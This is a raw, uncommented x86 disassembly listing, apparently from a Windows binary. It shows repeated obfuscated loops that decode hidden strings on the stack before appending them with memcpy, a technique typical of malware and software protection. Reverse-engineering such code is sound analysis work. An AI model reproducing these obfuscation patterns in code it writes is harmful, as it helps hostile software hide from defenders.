lea ecx, [edi + 8]
cmp esi, ecx
jne 0x469a88
lea ebp, [eax + 0x1c828192]
lea ebx, [eax + edx]
add ebx, 0x1c828192
and ebp, edx
mov cl, 2
jmp 0x4699c7
mov ebp, dword [esp + 8]
cmp esi, ebp
mov edi, dword [esp + 4]
jne 0x4698ad
lea ecx, [eax + 0x2376697c]
lea ebx, [eax + edx]
add ebx, 0x2376697c
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x9c
jmp 0x46960e
lea ecx, [edi + 5]
cmp esi, ecx
jne 0x4698d9
lea ecx, [eax - 0x656730e3]
lea ebx, [eax + edx]
add ebx, 0x9a98cf1d
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x35
jmp 0x4697bc
jne 0x46991b
lea ecx, [eax + 0x5af95504]
lea ebx, [eax + edx]
add ebx, 0x5af95504
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xe4
jmp 0x469a29
cmp esi, ebp
jne 0x469937
lea ecx, [eax + 0x702e7db7]
lea ebx, [eax + edx]
add ebx, 0x702e7db7
and ecx, edx
add ecx, ecx
sub ebx, ecx
dec bl
jmp 0x4696d0
mov dword [esp + 0x10], ecx
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x469958
lea ecx, [eax + 0xf69e770]
lea ebx, [eax + edx]
add ebx, 0xf69e770
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xf0
jmp 0x4697bc
lea ecx, [edi + 7]
cmp esi, ecx
jne 0x469554
lea ebp, [eax + 0x10928e17]
lea ebx, [eax + edx]
add ebx, 0x10928e17
and ebp, edx
mov cl, 0x5f
jmp 0x4699c7
lea ecx, [eax - 0x7f3ef432]
lea ebx, [eax + edx]
add ebx, 0x80c10bce
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, bl
add bl, 0xbc
jmp 0x4695c7
cmp esi, ebp
jne 0x469984
lea ebp, [eax + 0x46ecd2f8]
lea ebx, [eax + edx]
add ebx, 0x46ecd2f8
and ebp, edx
mov cl, 0x38
jmp 0x4699c7
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x4699a9
lea ecx, [eax + 0x5c21fbab]
lea ebx, [eax + edx]
add ebx, 0x5c21fbab
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x53
jmp 0x46997b
lea ecx, [edi + 4]
cmp esi, ecx
jne 0x469a39
lea ecx, [eax - 0x7a9c5996]
lea ebx, [eax + edx]
add ebx, 0x8563a66a
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x1a
mov esi, dword [esp + 0x10]
jmp 0x4697bc
lea ecx, [edi + 5]
cmp esi, ecx
jne 0x469a60
lea ecx, [eax - 0x5725f01a]
lea ebx, [eax + edx]
add ebx, 0xa8da0fe6
and ecx, edx
mov byte [esp], 0xb6
jmp 0x469792
lea ecx, [edi + 7]
cmp esi, ecx
jne 0x469677
lea ebp, [eax + 0x4815799f]
lea ebx, [eax + edx]
add ebx, 0x4815799f
and ebp, edx
mov cl, 0xa7
add ebp, ebp
sub ebx, ebp
add bl, cl
lea ebp, [eax - 0x584e96c1]
lea ecx, [edx + eax]
add ecx, 0xa7b1693f
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, 0x47
mov byte [esp + eax + 0xcc], cl
movzx ecx, cl
not edi
add edi, eax
sub edi, ecx
mov eax, edi
mov ebp, dword [esp]
lea edi, [eax - 0x1d51b744]
lea ecx, [eax + edx]
add ecx, 0xe2ae48bc
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0xdc
mov byte [esp + eax + 0xcc], cl
sub eax, esi
inc esi
movzx edx, byte [esp + eax + 0xca]
add eax, 0xfffffffe
mov edi, ebp
add edx, edi
add eax, edx
inc eax
cmp eax, 0x16
jb 0x4694fb
jmp 0x469aab
cmp esi, dword [esp + 0xc]
jne 0x469654
lea ecx, [eax + 0x5d4aa252]
lea ebx, [eax + edx]
add ebx, 0x5d4aa252
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc2
jmp 0x4695c7
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x469698
lea ecx, [eax - 0x6b327226]
lea ebx, [eax + edx]
add ebx, 0x94cd8dda
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xa
jmp 0x4696cd
lea ebx, [eax + edx]
add ebx, 0x2f665cf7
add eax, 0x2f665cf7
and eax, edx
add eax, eax
sub ebx, eax
add bl, 0x3f
jmp 0x4694eb
mov eax, 0x1230779
jmp 0x469ab4
xor eax, eax
jmp 0x469ab4
mov eax, 0x16627fc
add eax, esp
add eax, 0xcc
mov ebp, dword [esp + 0x5e0]
mov dword [esp], eax
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ecx, closesocket
sub ecx, ebp
cmp ecx, eax
jb 0x46d62f
lea edi, [esp + 0x1d0]
mov ecx, dword [esp + 0x5d0]
mov edx, dword [esp + 0x5e4]
mov dword [edi], 0
mov dword [esp + 4], eax
mov esi, eax
add esi, ebp
mov ebx, 0xf
cmp esi, 0x10
jb 0x469b5f
mov edi, esi
or edi, 0xf
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
js 0x469b33
cmp edi, 0x17
mov ebx, 0x16
cmovae ebx, edi
lea eax, [ebx + 1]
cmp ebx, 0xfff
jb 0x469b45
mov ebx, edi
jmp 0x469b3d
mov ebx, closesocket
mov eax, closesocket
push eax
call fcn.0040130b
jmp 0x469b4b
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x1d0], eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
cmp edx, 0x10
lea eax, [esp + 0x5d0]
cmovae eax, ecx
mov dword [esp + 0x1e0], esi
mov dword [esp + 0x1e4], ebx
push ebp
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push dword [esp + 4]
push dword [esp + 4]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [edi + esi], 0
mov edx, dword [esp + 0x1d0]
mov ebx, dword [esp + 0x1e0]
mov esi, dword [esp + 0x1e4]
cmp esi, 0x10
lea ecx, [esp + 0x1d0]
cmovae ecx, edx
mov edi, dword [esp + 0x24]
mov ebp, dword [esp + 0x28]
mov eax, ebp
sub eax, edi
cmp eax, ebx
mov eax, ebx
mov dword [esp], esi
jae 0x469cb8
mov ebx, closesocket
mov dword [esp + 4], eax
mov eax, closesocket
sub eax, edi
cmp eax, dword [esp + 4]
mov eax, dword [esp + 4]
jb 0x46d62f
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
lea ecx, [edi + eax]
mov dword [esp + 8], ecx
or ecx, 0xf
mov eax, closesocket
js 0x469c35
mov esi, ebp
shr esi, 1
mov edx, esi
xor edx, 0x7fffffff
cmp edx, ebp
jb 0x469c35
add esi, ebp
cmp ecx, esi
mov ebx, esi
cmovae ebx, ecx
lea eax, [ebx + 1]
cmp eax, 0x1000
jb 0x46c74f
push eax
call fcn.0040130b
add esp, 4
mov esi, dword [esp]
mov ecx, dword [esp + 8]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ebx
cmp ebp, 0x10
jb 0x469cea
mov ebx, dword [esp + 0x14]
push edi
push ebx
push eax
mov esi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add edi, esi
push dword [esp + 4]
push dword [esp + 0x10]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edi, esi
mov eax, dword [esp + 8]
mov byte [esi + eax], 0
lea ecx, [ebp + 1]
cmp ecx, 0x1000
jb 0x469ca7
mov eax, dword [ebx - 4]
add ebx, 0xfffffffc
sub ebx, eax
cmp ebx, 0x20
jae 0x46d634
add ebp, 0x24
mov ecx, ebp
mov ebx, eax
mov esi, dword [esp]
push ecx
push ebx
call fcn.00471733
add esp, 8
mov ebx, edi
jmp 0x469d16
lea ebx, [edi + eax]
mov dword [esp + 0x24], ebx
cmp ebp, 0x10
jb 0x469ccc
mov ebp, edx
mov esi, dword [esp + 0x14]
jmp 0x469cd2
mov ebp, edx
lea esi, [esp + 0x14]
add edi, esi
push eax
push ecx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + ebx], 0
mov edx, ebp
mov esi, dword [esp]
jmp 0x469d1e
lea ecx, [esp + 0x14]
push edi
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add edi, ebx
push dword [esp + 4]
push dword [esp + 0x10]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 8]
mov byte [ebx + eax], 0
mov dword [esp + 0x14], ebx
mov edx, dword [esp + 0x10]
cmp esi, 0x10
jb 0x469d50
lea ecx, [esi + 1]
cmp ecx, 0x1000
jb 0x469d46
mov eax, dword [edx - 4]
add edx, 0xfffffffc
sub edx, eax
cmp edx, 0x20
jae 0x46d634
add esi, 0x24
mov ecx, esi
mov edx, eax
push ecx
push edx
call fcn.00471733
add esp, 8
mov dword [esp + 0x1d0], 0x1417d6d5
mov dword [esp + 0x1d4], 0x1d1318ec
mov dword [esp + 0x1d8], 0x2c1aeaea
mov word [esp + 0x1dc], 0xbf81
mov byte [esp + 0x1de], 0xb0
xor eax, eax
mov dword [esp + 0x1e3], eax
mov dword [esp + 0x1df], eax
mov dword [esp + 0x1e7], eax
call fcn.0046d640
mov edi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp edi, eax
ja 0x469fd8
mov dl, byte [esp + eax + 0x1d0]
movzx ebx, dl
lea ebp, [ecx + 1]
cmp edi, ebp
jae 0x469e05
cmp ecx, eax
ja 0x469fe3
lea esi, [edi + ecx]
cmp esi, eax
jbe 0x469e1e
lea edx, [ecx + 0xa]
cmp edi, edx
je 0x469f64
lea edx, [ecx + 0x10]
cmp edi, edx
jne 0x469e96
lea esi, [eax - 0x5edb8628]
lea edx, [eax + ebx]
add edx, 0xa12479d8
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x18
jmp 0x469f42
je 0x469ecd
lea esi, [ecx + 3]
cmp edi, esi
je 0x469e23
lea esi, [ecx + 2]
cmp edi, esi
jne 0x469dc3
jmp 0x469f64
cmp esi, 1
jne 0x469e51
lea esi, [eax - 0x76b6f139]
lea edx, [ebx + eax]
add edx, 0x89490ec7
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x8f
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, ebp
jmp 0x469ea1
mov dword [esp + 8], esi
lea esi, [ecx + 6]
cmp edi, esi
jbe 0x469ed9
lea esi, [eax - 0x414930ff]
mov dword [esp], ebx
mov ebx, dword [esp]
add ebx, eax
add ebx, 0xbeb6cf01
mov dword [esp + 4], ebx
and esi, dword [esp]
add esi, esi
sub dword [esp + 4], esi
mov ebx, dword [esp + 4]
add bl, 0xf9
cmp edi, 1
ja 0x469f00
cmp edi, ebp
jne 0x469f54
xor edi, edi
inc edi
jmp 0x469ecd
lea edx, [ecx + 5]
cmp edi, edx
jne 0x469d9a
lea esi, [eax + 0x776da0dc]
lea edx, [eax + ebx]
add edx, 0x776da0dc
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xfc
mov byte [esp + eax + 0x1d0], dl
sub eax, edi
inc edi
mov dl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
movzx edx, dl
add edx, ecx
add eax, edx
jmp 0x469f65
cmp edi, ebp
jne 0x469f49
lea edx, [eax - 0x2f49398d]
lea ecx, [eax + ebx]
add ecx, 0xd0b6c673
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0xdb
mov byte [esp + eax + 0x1d0], cl
mov ecx, edi
jmp 0x469f64
lea esi, [eax - 0x4124a778]
mov ebp, dword [esp]
lea ebx, [eax + ebp]
add ebx, 0xbedb5888
and esi, ebp
add esi, esi
sub ebx, esi
add dl, bl
add dl, 0x48
lea esi, [eax - 0x53001563]
lea ebx, [eax + ebp]
add ebx, 0xacffea9d
and esi, ebp
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0xb5
mov byte [esp + eax + 0x1d0], bl
mov edi, dword [esp + 8]
movzx edx, dl
not edx
jmp 0x469ed2
lea esi, [ecx + 2]
cmp edi, esi
jne 0x469f5d
mov ecx, ebp
jmp 0x469f64
mov byte [esp + eax + 0x1d0], bl
jmp 0x469f65
lea esi, [ecx + 3]
cmp edi, esi
jne 0x469f71
dec eax
inc eax
cmp eax, 0x1b
jb 0x469daa
jmp 0x469fdf
lea esi, [ecx + 5]
cmp edi, esi
jne 0x469f92
lea esi, [eax - 0x17925803]
lea edx, [eax + ebx]
add edx, 0xe86da7fd
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x15
jmp 0x469f42
lea esi, [ecx + 4]
cmp edi, esi
je 0x469e23
lea esi, [ecx + 9]
cmp edi, esi
je 0x469ecd
lea esi, [eax - 0x11db6deb]
mov dword [esp + 0xc], esi
lea esi, [eax + ebx]
add esi, 0xee249215
mov dword [esp + 4], esi
mov dword [esp], ebx
mov esi, dword [esp + 0xc]
and esi, ebx
add esi, esi
mov ebx, dword [esp + 4]
sub ebx, esi
add bl, 0x6d
jmp 0x469e84
mov eax, 0x176b831
jmp 0x469fe8
xor eax, eax
jmp 0x469fe8
mov eax, 0x152261c
lea edi, [esp + eax]
add edi, 0x1d0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov ebp, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
mov eax, ebx
sub eax, ebp
cmp eax, esi
jae 0x46a0d8
mov eax, closesocket
sub eax, ebp
cmp eax, esi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], edi
mov edi, esi
add edi, ebp
mov ecx, edi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], edi
js 0x46a06a
mov edx, ebx
shr edx, 1
mov edi, edx
xor edi, 0x7fffffff
cmp edi, ebx
mov edi, dword [esp + 4]
jb 0x46a06a
add edx, ebx
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c762
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
cmp ebx, 0x10
jb 0x46a0ed
mov ecx, dword [esp + 0x14]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, edi
mov eax, dword [esp + 4]
mov byte [edi + eax], 0
lea ecx, [ebx + 1]
cmp ecx, 0x1000
jb 0x46a12b
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add ebx, 0x24
mov ecx, ebx
jmp 0x46a12e
mov eax, edi
mov edi, esi
add edi, ebp
mov dword [esp + 0x24], edi
cmp ebx, 0x10
jb 0x46a114
mov ebx, dword [esp + 0x14]
jmp 0x46a118
lea ecx, [esp + 0x14]
push ebp
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46a13a
lea ebx, [esp + 0x14]
add ebp, ebx
push esi
push eax
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46a13e
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov ebx, esi
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x473c00]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473c10]
movups xmmword [esp + 0x1e0], xmm0
movaps xmm0, xmmword [0x473c20]
movups xmmword [esp + 0x1f0], xmm0
movaps xmm0, xmmword [0x473c30]
movups xmmword [esp + 0x200], xmm0
xor eax, eax
mov dword [esp + 0x214], eax
mov dword [esp + 0x210], eax
mov word [esp + 0x218], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46a3f1
mov bl, byte [esp + eax + 0x1d0]
movzx edx, bl
lea edi, [ecx + 1]
cmp esi, edi
jae 0x46a206
cmp ecx, eax
ja 0x46a3fc
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x46a21a
lea ebx, [ecx + 0x41]
cmp esi, ebx
je 0x46a222
lea ebx, [ecx + 2]
cmp esi, ebx
je 0x46a2b0
lea ebx, [ecx + 6]
cmp esi, ebx
jne 0x46a314
lea esi, [eax + 0x2bd65938]
lea ebx, [eax + edx]
add ebx, 0x2bd65938
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0x78
jmp 0x46a298
je 0x46a373
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x46a243
mov edi, ecx
jmp 0x46a345
cmp esi, edi
jne 0x46a2a6
lea ebx, [eax + 0x745dd00c]
lea ecx, [eax + edx]
add ecx, 0x745dd00c
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0xac
mov byte [esp + eax + 0x1d0], cl
jmp 0x46a2b2
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x46a31b
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x46a304
lea edi, [eax + 0x278a9904]
lea ebx, [eax + edx]
add ebx, 0x278a9904
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xe4
add esi, ecx
mov ebp, esi
lea esi, [eax + 0x44bc034]
lea edi, [edx + eax]
add edi, 0x44bc034
and esi, edx
add esi, esi
mov edx, edi
sub edx, esi
add dl, bl
add dl, 0x94
mov byte [esp + eax + 0x1d0], dl
movzx edx, bl
not edx
add eax, edx
mov esi, ebp
jmp 0x46a37a
mov dword [esp], ebp
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x46a2ba
mov edi, ecx
dec eax
mov ecx, edi
jmp 0x46a37a
lea ebp, [ecx + 7]
cmp esi, ebp
je 0x46a31b
lea ebp, [ecx + 8]
cmp esi, ebp
je 0x46a373
cmp esi, 0x41
ja 0x46a394
lea ebx, [ecx + 2]
cmp esi, ebx
je 0x46a31b
lea ebx, [ecx + 4]
cmp esi, ebx
jne 0x46a3bc
lea esi, [eax - 0x233ed8d0]
lea ebx, [eax + edx]
add ebx, 0xdcc12730
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0xb0
mov ebp, dword [esp]
jmp 0x46a298
lea ebp, [ecx + 8]
cmp esi, ebp
jne 0x46a1bd
jmp 0x46a222
lea ebx, [ecx + 0x10]
cmp esi, ebx
jne 0x46a386
lea ebp, [eax - 0x6bc64fa4]
lea ebx, [eax + edx]
add ebx, 0x9439b05c
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0x7c
mov byte [esp + eax + 0x1d0], bl
movzx ebx, bl
not ecx
add ecx, eax
sub ecx, ebx
mov eax, ecx
lea ebx, [eax + 0x5c30a870]
lea ecx, [eax + edx]
add ecx, 0x5c30a870
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0xf0
mov byte [esp + eax + 0x1d0], cl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
mov ecx, edi
movzx edx, bl
add edx, ecx
add eax, edx
inc eax
cmp eax, 0x4a
jb 0x46a1a4
jmp 0x46a3f8
lea ebx, [ecx + 0x42]
mov edi, ecx
cmp esi, ebx
je 0x46a345
jmp 0x46a194
lea esi, [eax + 0x3c54c820]
lea edi, [eax + edx]
add edi, 0x3c54c820
and esi, edx
add esi, esi
sub edi, esi
mov esi, edx
mov edx, edi
add bl, dl
mov edx, esi
add bl, 0x20
mov ebp, dword [esp]
jmp 0x46a275
cmp ecx, 0x1f
ja 0x46a222
lea ebx, [ecx + 6]
cmp esi, ebx
je 0x46a222
lea edi, [eax - 0x380907ec]
lea ebx, [eax + edx]
add ebx, 0xc7f6f814
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x74
mov byte [esp + eax + 0x1d0], bl
jmp 0x46a37a
mov eax, 0x65a584
jmp 0x46a401
xor eax, eax
jmp 0x46a401
mov eax, 0x16ead70
lea edi, [esp + eax]
add edi, 0x1d0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov ebp, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
mov eax, ebx
sub eax, ebp
cmp eax, esi
jae 0x46a4f1
mov eax, closesocket
sub eax, ebp
cmp eax, esi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], edi
mov edi, esi
add edi, ebp
mov ecx, edi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], edi
js 0x46a483
mov edx, ebx
shr edx, 1
mov edi, edx
xor edi, 0x7fffffff
cmp edi, ebx
mov edi, dword [esp + 4]
jb 0x46a483
add edx, ebx
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c780
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
cmp ebx, 0x10
jb 0x46a506
mov ecx, dword [esp + 0x14]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, edi
mov eax, dword [esp + 4]
mov byte [edi + eax], 0
lea ecx, [ebx + 1]
cmp ecx, 0x1000
jb 0x46a544
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add ebx, 0x24
mov ecx, ebx
jmp 0x46a547
mov eax, edi
mov edi, esi
add edi, ebp
mov dword [esp + 0x24], edi
cmp ebx, 0x10
jb 0x46a52d
mov ebx, dword [esp + 0x14]
jmp 0x46a531
lea ecx, [esp + 0x14]
push ebp
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46a553
lea ebx, [esp + 0x14]
add ebp, ebx
push esi
push eax
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46a557
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov ebx, esi
mov dword [esp + 0x14], ebx
movaps xmm0, xmmword [0x473c40]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473c50]
movups xmmword [esp + 0x1e0], xmm0
mov dword [esp + 0x1f0], 0x96a4a1a3
mov dword [esp + 0x1f4], 0x31339c89
mov word [esp + 0x1f8], 0x3331
mov byte [esp + 0x1fa], 0x22
xor eax, eax
mov dword [esp + 0x1ff], eax
mov dword [esp + 0x1fb], eax
mov dword [esp + 0x205], eax
mov dword [esp + 0x201], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov eax, dword [eax]
xor ecx, ecx
cmp esi, ecx
ja 0x46a7d2
mov bl, byte [esp + ecx + 0x1d0]
movzx edx, bl
lea edi, [eax + 1]
cmp esi, edi
jae 0x46a65f
cmp eax, ecx
ja 0x46a7dd
lea ebx, [esi + eax]
cmp ebx, ecx
jbe 0x46a668
lea ebp, [eax + 8]
cmp esi, ebp
je 0x46a6fd
lea ebp, [eax + 6]
cmp esi, ebp
je 0x46a71a
lea edi, [eax + 0xa]
cmp esi, edi
je 0x46a680
lea edi, [eax + 9]
cmp esi, edi
jne 0x46a5bb
lea esi, [ecx - 0x6a6e3198]
lea edi, [ecx + edx]
add edi, 0x9591ce68
and esi, edx
add esi, esi
sub edi, esi
mov ebp, ebx
mov ebx, edi
add bl, 0x28
mov edi, ebx
lea esi, [ecx + 0x4bccceb2]
lea ebx, [ecx + edx]
add ebx, 0x4bccceb2
and esi, edx
mov edx, edi
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0x22
mov byte [esp + ecx + 0x1d0], bl
mov esi, ebp
jmp 0x46a74d
jne 0x46a687
mov edi, eax
jmp 0x46a6e9
cmp ebx, 9
je 0x46a68e
cmp esi, edi
je 0x46a6fd
lea ebp, [eax + 2]
cmp esi, ebp
jne 0x46a72c
mov edi, eax
jmp 0x46a71a
lea ebx, [eax + 3]
cmp esi, ebx
jne 0x46a6f2
lea ebp, [ecx - 0x783deb8a]
lea ebx, [edx + ecx]
add ebx, 0x87c21476
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0xc6
mov byte [esp + ecx + 0x1d0], bl
movzx ebx, bl
not eax
add eax, ecx
mov ecx, eax
sub ecx, ebx
lea ebp, [ecx - 0x5a4348a8]
and ebp, edx
add edx, ecx
add edx, 0xa5bcb758
add ebp, ebp
sub edx, ebp
add dl, 0x98
mov byte [esp + ecx + 0x1d0], dl
add ebx, esi
inc esi
sub eax, ebx
mov bl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
mov ecx, eax
mov eax, edi
movzx edx, bl
add edx, edi
add ecx, edx
jmp 0x46a71d
lea ebx, [eax + 7]
cmp esi, ebx
jne 0x46a5e4
lea ebx, [ecx + 0xfd788ee]
lea eax, [ecx + edx]
add eax, 0xfd788ee
and ebx, edx
add ebx, ebx
sub eax, ebx
add al, 0x7e
mov byte [esp + ecx + 0x1d0], al
dec ecx
mov eax, edi
inc ecx
cmp ecx, 0x39
jb 0x46a5cb
jmp 0x46a7d9
lea ebp, [eax + 3]
cmp esi, ebp
jne 0x46a754
lea edi, [ecx - 0x73878d8e]
lea ebx, [ecx + edx]
add ebx, 0x8c787272
and edi, edx
mov edx, ebx
add edi, edi
sub edx, edi
add dl, 0xe2
movzx edx, dl
not edx
jmp 0x46a6ee
lea ebp, [eax + 7]
cmp esi, ebp
je 0x46a68e
lea ebp, [eax + 0xa]
cmp esi, ebp
jbe 0x46a780
lea ebp, [ecx - 0x65b7d39c]
lea ebx, [ecx + edx]
add ebx, 0x9a482c64
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0x44
jmp 0x46a7bd
lea ebp, [eax + 5]
cmp esi, ebp
jne 0x46a7a5
lea esi, [ecx - 0x39ed76c8]
lea edi, [ecx + edx]
add edi, 0xc6128938
and esi, edx
mov edx, edi
add esi, esi
sub edx, esi
add dl, 0x78
mov esi, ebx
jmp 0x46a74d
lea ebp, [ecx + 0x1dfaa2e2]
lea ebx, [ecx + edx]
add ebx, 0x1dfaa2e2
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0xd2
cmp eax, 7
ja 0x46a6fd
mov byte [esp + ecx + 0x1d0], bl
jmp 0x46a71d
mov eax, 0x6012ba
jmp 0x46a7e2
xor eax, eax
jmp 0x46a7e2
mov eax, 0x1656fd8
lea edi, [esp + eax]
add edi, 0x1d0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov ebp, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
mov eax, ebx
sub eax, ebp
cmp eax, esi
jae 0x46a8d6
mov eax, closesocket
sub eax, ebp
cmp eax, esi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], edi
mov edi, esi
add edi, ebp
mov ecx, edi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], edi
js 0x46a864
mov edx, ebx
shr edx, 1
mov edi, edx
xor edi, 0x7fffffff
cmp edi, ebx
mov edi, dword [esp + 4]
jb 0x46a864
add edx, ebx
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c79e
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
cmp ebx, 0x10
jb 0x46a902
mov ecx, dword [esp + 0x14]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, edi
mov eax, dword [esp + 4]
mov byte [edi + eax], 0
lea ecx, [ebx + 1]
cmp ecx, 0x1000
jb 0x46a929
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add ebx, 0x24
mov ecx, ebx
jmp 0x46a92c
mov eax, edi
mov edi, esi
add edi, ebp
mov dword [esp + 0x24], edi
cmp ebx, 0x10
jb 0x46a8eb
mov ebx, dword [esp + 0x14]
jmp 0x46a8ef
lea ebx, [esp + 0x14]
add ebp, ebx
push esi
push eax
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46a93c
lea ecx, [esp + 0x14]
push ebp
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46a938
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
